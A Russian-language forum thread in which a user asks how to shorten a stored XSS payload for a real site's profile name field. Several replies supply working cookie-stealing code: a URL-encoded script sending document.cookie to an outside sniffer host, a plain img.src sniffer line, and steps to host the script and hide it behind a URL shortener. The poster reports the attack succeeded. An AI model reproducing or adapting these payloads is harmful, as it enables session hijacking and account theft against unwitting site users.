XSS Слишком длинный.

Всем привет , у меня такой необычный вопрос , на одном сайте я нашел

уязвимость , допустим я вставляю

в поля (Имя)

Все проходит успешно и при заходе на данный профиль мне пишет что уязвимость есть , теперь я хочу вставить следующий скрипт

Но дело в том что при вставки данного xss в этом поле она не сохраняется , а причина тому слишком много символов , как я выяснил .

Собственно вопрос : Как можно сделать короче (сократить, уменьшить )

или зашифровать , но чтобы смысл данного скрипта оставался одним и тем же?

Спасибо за внимание .

 

Спрятать можно:

HTML:

%3C%73%63%72%69%70%74%3E%69%6D%67%20%3D%20%6E%65%77%20%49%6D%61%67%65%28%29%3B%20%69%6D%67%2E%73%72%63%20%3D%20%22%68%74%74%70%3A%2F%2F%73%6E%69%66%66%65%72%2E%78%61%6B%6E%65%74%2E%72%75%2F%73%6D%69%6C%65%73%2F%69%6D%67%5F%5F%31%30%31%30%2E%67%69%66%3F%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%3C%2F%73%63%72%69%70%74%3E

Убери блокнотом(ctrl+h) все пробелы и в дело!

 

<script type="text/javascript" src="http://твой_сайт/твой_скрипт.js"></script>
возможно можно и без (type="text/javascript") не помню точно...

а в твой_скрипт.js пиши что надо, ну типа

 

Не помогло. Мне нужно так чтобы за это поле , скрипт не вылазил.

 

URL в студио вида si[это не я]te.ru/script.php?vuln_param="><script>alert('xss')</script>

 

Я тебя не понял

 

Короче адрес уязвимого сайта давай =)

TC скинул адрес, но ничего не написал, где уязвимость

 

Большое спасибо , сейчас проверим .

 

Если сервер рубит длину, то не поможет. Делается проще пареной репы же:

1) делаем файл 1.js
2) в него пишем img = new Image(); img.src = "http://sniffer.site.ru/blablabls.gif?"+document.cookie;
3) заливаем куда угодно на любой хостинг, например на фрихост какой-нибудь
4) идем на u.to, запихиваем туда ссылку на файл 1.js, получаем что-то типа http://u.to/abc123
5) вставляем на сайте вот такой код:

<script src="http://u.to/abc123"></script>

Если нужно еще меньше, то пишем в асю 352223797 - скажу платное решение.

 

Фильтр стоит , ничего не вышло (

 

Получилось , спасибо огромное .

 

Лол.. я тебе в четвёртом посте тоже самое посоветовал...

Хотя это конечно моя вина, я забыл поставить циферки 1) 2) 3)

 

не получишь ты плюсика от ТС(.... не переживай, всё ещё впереди

 

Я тебя там не понял ))) а тут все понятно ))

 

подскажи

как сделать 3 пункт добавь в аське

 

Ищешь в гугле:" Бесплатные хостинги с PHP или читай на нашем форуме...там есть раздел такой - большой раздел

 

Там не нужен пхп =)

 

пацаны плиз объясните в аське или в скайпе просто срочно надо но вот не допираю как скрипт разместить